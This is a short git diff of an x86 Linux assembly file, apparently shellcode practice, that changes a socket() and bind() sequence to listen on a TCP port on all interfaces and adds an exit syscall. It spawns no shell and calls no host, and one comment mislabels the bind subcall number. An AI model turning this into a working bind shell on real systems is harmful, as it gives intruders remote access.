diff options
-rw-r--r-- | shellcode/socket.asm | 14 |
1 files changed, 10 insertions, 4 deletions
diff --git a/shellcode/socket.asm b/shellcode/socket.asm index 731383f..6a58d75 100644 --- a/shellcode/socket.asm +++ b/shellcode/socket.asm @@ -14,14 +14,20 @@ int 0x80 ; let the kernel do the stuff ; bind() mov edx,eax ; move socket descriptor (returned by socket()) to edx xor eax,eax ; zero out eax again -push 0xBBBB ; push ip addr -push 0x00AA ; push tcp port -push 0x0002 ; sa_family -> AF_INET = 0x0002 +push 0x0 ; in_addr = 0 +push word 0x11AA ; push tcp port +push word 0x2 ; sa_family -> AF_INET = 0x02 mov ecx,esp ; save stack pointer -> pointer to sockaddr struct -push 0x12 ; arg3: socklen -> addrlen +push 0x10 ; arg3: socklen -> addrlen push ecx ; arg2: push pointer to sockaddr to the stack push edx ; arg1: push sockfd mov ecx,esp ; move stack pointer to reg (conform to socketcall) mov ebx,0x02 ; set socket subcall to 0x03 (bind) mov al,0x66 ; socketcall syscall int 0x80 ; let the kernel do the stuff + + +; exit() +mov al,0x1 ; exit syscall +mov ebx,0x42 ; return code +int 0x80 ; kernel mode |